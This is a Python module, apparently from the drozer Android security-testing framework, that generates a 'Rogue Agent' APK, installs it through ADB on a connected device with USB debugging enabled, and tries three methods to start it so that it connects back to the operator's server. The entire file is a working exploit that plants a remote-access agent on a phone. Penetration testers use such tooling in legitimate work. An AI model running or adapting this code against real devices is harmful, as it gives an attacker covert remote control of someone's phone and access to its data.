from drozer.modules import Module, common
from WithSecure.common import fs
import os, subprocess

class USBDebugging(Module, common.Exploit):

    name = "Install a Rogue drozer Agent on a connected device that has USB debugging enabled"
    description = """
    By enabling USB debugging, a device is susceptible to the installation of new packages using ADB. This module automates the generation, installation and deployment of a Rogue drozer Agent using ADB on a physically connected device.
    
    Prerequisites:
        * ADB on path as "adb"
    """
    examples = ""
    author = "Tyrone (@mwrlabs)"
    date = "2013-12-12"
    license = "BSD (3 clause)"
    module_type = "exploit"
    path = ["exploit", "usb", "socialengineering"]
    
    payloads = []
    
    def __init__(self, session, loader):
        Module.__init__(self, session)
        common.Exploit.__init__(self, loader)
        
        self.payload_format = "N"
        
    def add_arguments(self, parser):
        parser.add_argument("--adbPath", default=None, help="specify the location of the adb binary")
    
    def generate(self, arguments):
        
        adbCommand = "adb"
        if arguments.adbPath:
            adbCommand = arguments.adbPath

        print( "[*] Building Rogue Agent...")
        rogueAgentPath = os.path.join(os.path.dirname(__file__), "agent.apk")
        fs.write(rogueAgentPath, self.build_agent(arguments))

        print( "[*] Checking adb setup...")
        process = subprocess.Popen(adbCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        process.wait()
        result = process.stdout.read() + process.stderr.read()
        if not ("SHELL" in result.upper()) and not ("INSTALL" in result.upper()):
            print( "[-] Error. ADB is not properly set up.")
            return
        else:
            print( "[+] adb is set up correctly")

        print( "[*] Connect device and press [ENTER]")
        input()

        print( "[*] Attempting to install agent...")
        process = subprocess.Popen([adbCommand, "install", rogueAgentPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        process.wait()
        result = process.stdout.read() + process.stderr.read()
        if "SUCCESS" in result.upper():
            print( "[+] Rogue Agent installed")
        elif "INSTALL_FAILED_ALREADY_EXISTS" in result.upper():
            print( "[-] Already installed")
            print( "[*] Uninstalling...")
            subprocess.Popen([adbCommand, "uninstall", "com.WithSecure.dz"], stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait()
            print( "[*] Attempting to install agent...")
            subprocess.Popen([adbCommand, "install", rogueAgentPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait()
        else:
            print( "[-] Could not be installed")
            return

        print( "[*] Attempting to kick start drozer agent - Method 1 (Service)")
        process = subprocess.Popen([adbCommand, "shell", "am", "startservice", "-n", "com.WithSecure.dz/.Agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        process.wait()
        result = process.stdout.read() + process.stderr.read()
        
        if not ("ERROR" in result.upper() or "SECURITYEXCEPTION" in result.upper()):
            print( "[+] Service started. You should have a connection on your server")
        else:
            print( "[-] Failed")
            print( "[*] Attempting to kick start drozer agent - Method 2 (Activity)")

            process = subprocess.Popen([adbCommand, "shell", "am", "start", "pwn://lol"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            process.wait()
            result = process.stdout.read() + process.stderr.read()
            
            if not ("ERROR" in result.upper() or "SECURITYEXCEPTION" in result.upper()):
                print( "[+] Activity opened. You should have a connection on your server")
            else:
                print( "[-] Failed")
                print( "[*] Attempting to kick start drozer agent - Method 3 (Broadcast)")
                process = subprocess.Popen([adbCommand, "shell", "am", "broadcast", "-a", "com.WithSecure.dz.PWN"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                process.wait()
                result = process.stdout.read() + process.stderr.read()
                print( "[*] No feedback available. You will have to look if you have a connection on your server")

        # Cleanup
        os.remove(rogueAgentPath)